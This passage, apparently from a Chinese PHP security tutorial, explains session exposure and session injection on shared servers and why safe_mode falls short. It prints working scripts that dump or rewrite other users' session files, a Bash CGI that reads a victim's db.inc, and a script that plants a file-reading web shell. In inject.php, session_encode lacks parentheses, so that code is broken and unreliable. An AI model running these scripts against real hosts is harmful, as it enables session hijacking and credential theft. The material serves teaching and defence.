会话数据 暴露 注入
会话数据暴露
当你关注于防止源码的暴露时,你的会话数据只同样存在着风险。在默认情况下,SESSION保存在/tmp目录下。这样做在很多情形下是很方便的,其中之一是所有用户都有对/tmp的写入权限,这样Apache同样也有权限进行写入。虽然其他用户不能直接从shell环境读取这些会话文件,但他们可以写一个简单的脚本来进行读取:
<?php header('Content-Type: text/plain'); session_start(); $path = ini_get('session.save_path'); $handle = dir($path); while ($filename = $handle->read()) { if (substr($filename, 0, 5) == 'sess_') { $data = file_get_contents("$path/$filename"); if (!empty($data)) { session_decode($data); $session = $_SESSION; $_SESSION = array(); echo "Session [" . substr($filename, 5) . "]\n"; print_r($session); echo "\n--\n\n"; } } } ?>
会话注入
一个与会话暴露类似的问题是会话注入。此类攻击是基于你的WEB服务器除了对会话存储目录有读取权限外,还有写入权限。因此,存在着编写一段允许其他用户添加,编辑或删除会话的脚本的可能。下例显示了一个允许用户方便地编辑已存在的会话数据的HTML表单:
<?php session_start(); ?> <form action="inject.php" method="POST"> <?php $path = ini_get('session.save_path'); $handle = dir($path); while ($filename = $handle->read()) { if (substr($filename, 0, 5) == 'sess_') { $sess_data = file_get_contents("$path/$filename"); if (!empty($sess_data)) { session_decode($sess_data); $sess_data = $_SESSION; $_SESSION = array(); $sess_name = substr($filename, 5); $sess_name = htmlentities($sess_name, ENT_QUOTES, 'UTF-8'); echo "<h1>Session [$sess_name]</h1>"; foreach ($sess_data as $name => $value) { $name = htmlentities($name, ENT_QUOTES, 'UTF-8'); $value = htmlentities($value, ENT_QUOTES, 'UTF-8'); echo "<p> $name: <input type=\"text\" name=\"{$sess_name}[{$name}]\" value=\"$value\" /> </p>"; } echo '<br />'; } } } $handle->close(); ?> <input type="submit" /> </form> 脚本inject.php执行由表单所指定的修改: <?php session_start(); $path = ini_get('session.save_path'); foreach ($_POST as $sess_name => $sess_data) { $_SESSION = $sess_data; $sess_data = session_encode; file_put_contents("$path/$sess_name", $sess_data); } $_SESSION = array(); ?>
PHP的safe_mode选项的目的,PHP会对正在执行的脚本所读取(或所操作)文件的属主进行检查,以保证与该脚本的属主是相同的。虽然这样确实可以防范本章中的很多例子,但它不会影响其它语言编写的程序。例如,使用Bash写的CGI脚本:
#!/bin/bash
echo "Content-Type: text/plain"
echo ""
cat /home/victim/inc/db.inc
另一个典型的问题是安全模式不会拒绝属于WEB服务器文件的访问。这是由于一段黑客上传的脚本可以用于建立另一段脚本,而新脚本是属于WEB服务器的,因此它可以访问所有属于WEB服务器的文件:
<?php $filename = 'file.php'; $script = '<?php header(\'Content-Type: text/plain\'); readfile($_GET[\'file\']); ?>'; file_put_contents($filename, $script);
?> 上面的脚本建立了下面的文件: <?php header('Content-Type: text/plain'); readfile($_GET['file']); ?>
PHP的安全模式确实起到了一些作用,但是,它只提供了可怜的保护。